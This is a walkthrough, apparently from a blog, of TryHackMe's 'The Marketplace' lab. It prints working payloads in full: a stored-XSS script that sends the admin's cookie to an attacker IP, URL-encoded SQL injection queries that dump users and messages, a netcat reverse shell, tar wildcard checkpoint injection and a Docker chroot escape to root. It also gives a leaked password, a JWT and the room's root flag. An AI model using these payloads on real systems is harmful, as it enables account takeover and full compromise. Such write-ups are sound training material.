Tryhackme - The Marketplace

Tryhackme – The Marketplace

In this walk through, we will be going through the The Marketplace room from Tryhackme. This room is rated as Medium on the platform and the sysadmin of The Marketplace has given us access to an internal server of his, so we can pentest the marketplace platform on which he and his team has been working on and gain root access on the server. So, let’s get started without any delay.

The Marketplace

Machine Info:

TitleThe Marketplace
IPaddress10.10.82.146
DifficultyMedium
ObjectiveThe sysadmin of The Marketplace, Michael, has given you access to an internal server of his, so you can pentest the marketplace platform he and his team has been working on. He said it still has a few bugs he and his team need to iron out.

Enumeration:

  • I started off with my regular nmap ritual and found three ports opened – 22 (SSH), 80 (HTTP) and 32768 (HTTP).

sudo nmap -sS -sV 10.10.63.210

nmap scan

  • Next, i started to enumerate the running web servers. Both the web servers running were identical. I am not sure how express works over node.js, maybe an implementation thing. Anyways, i moved forward to enumerate the one on port 80 and found a shopping application running.

  • There are a lot of possibilities for attack vectors on the platform as it has some listings, a login and signup page and a report and message functionality.

The marketplace

  • I stuck to the basics and fired up gobuster on the server to reveal some sensitive directories. Found nothing ground breaking but had an interesting one – /admin. Navigating to that gives us a access denied message. It probably is checking our cookies to allow access.

wh1terose@fsociety:~$ gobuster dir -u http://10.10.63.210/ -w ~/Desktop/Wordlist/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.63.210/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/wh1terose/Desktop/Wordlist/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/11/15 22:47:08 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 153]
/.htpasswd            (Status: 403) [Size: 153]
/.hta                 (Status: 403) [Size: 153]
/ADMIN                (Status: 403) [Size: 392]
/Admin                (Status: 403) [Size: 392]
/Login                (Status: 200) [Size: 857]
/admin                (Status: 403) [Size: 392]
/images               (Status: 301) [Size: 179] [--> /images/]
/login                (Status: 200) [Size: 857]               
/messages             (Status: 302) [Size: 28] [--> /login]   
/new                  (Status: 302) [Size: 28] [--> /login]   
/robots.txt           (Status: 200) [Size: 31]                
/signup               (Status: 200) [Size: 667]               
/stylesheets          (Status: 301) [Size: 189] [--> /stylesheets/]
                                                                   
===============================================================
2023/11/15 22:48:51 Finished
===============================================================

gobuster scan

  • Further, i moved to do some digging on login and sign up page. Initially, i tried to perform authentication bypass via SQL injection however was unable to do so. Next, i tried to create a user with named ” jake” (with a space) as we know from the listings it is an existing user on the system and the authentication form is also susceptible to user enumeration.

Sign up

  • The user was created successfully however it does logged me in as ” jake” (with a space) rather than the existing user jake, Nevermind.

Jake login

  • Moving on, i looked around the dashboard with the access we have and i got a new listing tab where we can add new listing. This required a title, description and a file to upload as an image. The upload functionality was disabled, i thought first to bypass the client side restrictions and upload a reverse shell however was unable to get through. Next, i tried the below payload in the description to check for stored XSS as we can view the listings later.

<img src=x onerror=alert(1)>

Add new listing

  • Once i have a look on the new listing, my code get executed and popped-up an alert. Bingo!

Alert popup

Exploiting XSS to get admin:

  • Beneath the listing, we have a report button where we can report the listing to admin regarding any abuse and the admin will check it and reply us in our messages whatever findings it got. That means, we can trick admin to run our malicious code and grab its cookie value. I used the below payload to grab the cookie value of the admin once it visited the page and send it to my controlled server on the IP below.

<script>new Image().src="http://10.18.1.78:1234/bogus.php?output="+document.cookie;</script>

Add new listing

  • Clicked on the “Report listing to admins” button.

God Access

  • Got a message back from the admin.

Messages tab

  • At our netcat listener, got the admin’s token value in the output.

wh1terose@fsociety:~$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.63.210 37258
GET /bogus.php?output=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MDAwNjgxMjN9.i0pmk0UtvZR2eiGWrf4qlqT5bZnNCOZA03Rj410tlzA HTTP/1.1
Host: 10.18.1.78:1234
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://localhost:3000/item/28
Accept-Encoding: gzip, deflate
Accept-Language: en-US

netcat listener

  • I checked the admin JWT token value here and found out that the token value belongs to user “michael” and the admin attribute is set to true.

JWT decode

  • Intercepted the request to the admin page via Burpsuite, changed the token value to that of admin and got access to the admin panel.

Burpsuite intercept

  • In the admin dashboard, got our flag 1.

User listing

  • Next, upon checking the Users, we have a delete user button alongside some attributes. Notice the user id on top. I inserted an apostrophe at the end of it and got a SQL error. Nice!

Delete user functionality

Mysql error

Mysql error

Exploiting SQL Injection:

  • I tried sqlmap to exploit the vulnerabiltiy but was unabled to do so for some reason. So, i enumerated and exploited it manually. Starting with finding the number of columns, i used the order by clause and got an error at 5 but was successful at 4. That means, we are dealing with 4 columns here.

http://10.10.63.210/admin?user=1%20order%20by%205%20--

order by clause

http://10.10.63.210/admin?user=1%20UNION+SELECT+%27asds%27,NULL,NULL,NULL--

Find columns

  • Next, enumerated the database name using the below command. The results shows “marketplace” as the DB.

http://10.10.63.210/admin?user=100%20union%20select%20database(),null,null,null

Dump database name

Dump database name

  • Let’s enumerate the tables names from the marketplace DB using the below command. Got an interesting result for users.

http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(table_name),2,3,4%20FROM%20information_schema.tables%20WHERE%20table_schema%20=%27marketplace%27

dump table names

User items,messages,users

  • Let’s dump the column names from user table. Got 4 columns – id, username, password, isAdministrator.

http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(column_name),2,3,4%20FROM%20information_schema.columns%20WHERE%20table_name=%27users%27

dump columns

User id,username,password,isAdministrator

  • Dumped all the column names, and found a password hash. Tried to crack it but no luck.

http://10.10.63.210/admin?user=100%20union%20SELECT%20username,password,isAdministrator,4%20from%20users

dump column names

user system

  • Next, i enumerated the messages table and found interesting columns.

http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(column_name),2,3,4%20FROM%20information_schema.columns%20WHERE%20table_name=%27messages%27

User ID, user_from, user_to, message_content

  • Dumping the columns gives us a temporary SSH password that belongs to user jake.

http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(id,0x3a,is_read,0x3a,message_content,0x3a,user_from,0x3a,user_to%20),2,3,4%20from%20messages

SSH temporary password

@b_ENXkGYUCAv3zJ

Initial Access:

  • Used the found password to login as jake via SSH which got our initial access on the server and the user flag.

ssh login jake

user flag

  • Next, i used the below command to check if we can execute command as sudo and found a script called backup.sh in /opt/backups directory that can be run as user michael without providing any password.

sudo -l

sudo -l

  • Looked in to the script and found out that it is using tar to backup all the files in the directory to backup.tar. Pretty interesting as it does not which files rather it use the wildcard character.

cat backup.sh

  • In order to exploit, i generated a file named shell.sh with the below reverse shell payload.

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.50.72 4444 >/tmp/f

shell.sh

  • Next, i used the GTFObins tar documentation to set a checkpoint for our shell.sh once it got executed by user michael as per our command.

jake@the-marketplace:~$ chmod +x /opt/backups/shell.sh
jake@the-marketplace:~$ touch "/opt/backups/--checkpoint=1"
jake@the-marketplace:~$ touch "/opt/backups/--checkpoint-action=exec=sh shell.sh"
jake@the-marketplace:~$ cd /opt/backups/
jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh

exploiting tar

  • I got an error when i executed with backup.tar for some reason. So changed its name to bk.tar and re-run it and this time we got our shell back.

backup.sh

netcat listener

Privilege Escalation:

  • In the home folder, there is a directory called marketplace where we have a startup.sh file which indicates that the application is running on docker.

startup.sh

  • I checked the status of the docker image with the below command and the alpine stood out to me instantly.

docker image ls

docker image ls

  • I used GTFObins docker exploit to exploit the docker instance and break out of it to get root. Initially it gave me a TTY error. So i used python tty to set up the required environment and re-run it which gave me the root shell and eventually the flag too.

GTFObins docker

michael@the-marketplace:/home/marketplace$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
the input device is not a TTY alpine chroot /mnt sh 
michael@the-marketplace:/home/marketplace$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
michael@the-marketplace:/home/marketplace$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
chroot /mnt sh/:/mnt --rm -it alpine c
# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/root.txt
cat /root/root.txt
THM{d4f76179c80c0dcf46e0f8e43c9abd62}

root flag

Task 1 – The Marketplace

Question 1 – What is flag 1?

Question 2 – What is flag 2? (User.txt)

Question 3 – What is flag 3? (Root.txt)

Task 1 - The Marketplace

Also Read: Tryhackme – Pwnkit: (CVE-2021-4034)

Conclusion:

Conclusion

So that was “The Marketplace” for you. We first started with a regular nmap scan and found three ports opened – 22 (SSH), 80 (HTTP) and 32768 (HTTP). Next, enumerated the web server and created an account on the Marketplace platform running on port 80. Logged into the account and found a stored XSS vulnerability in New listing section. Next, leveraged the XSS vulnerability to trick the admin and got his cookie token value. Using the captured cookie value, got into the admin dashboard. Once inside the dashboard, found out that the application is throwing an error while accessing the user ID in delete user page. So, enumerated it and dumped the columns consisting an email where a temporary SSH password was mentioned. Got our initial access via SSH and looked for any sudo misconfiguration. Found out that we can run a bash script named backup.sh as user michael without any password. Next, changed the content of the script file with our reverse shell and got a shell back as user michael. Moving on, checked a file named startup.sh in marketplace home directory where it reveled that the application is using a docker instance. Exploited the running docker image using an exploit from GTFOBins and got the root flag and independence from Russian invasion. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top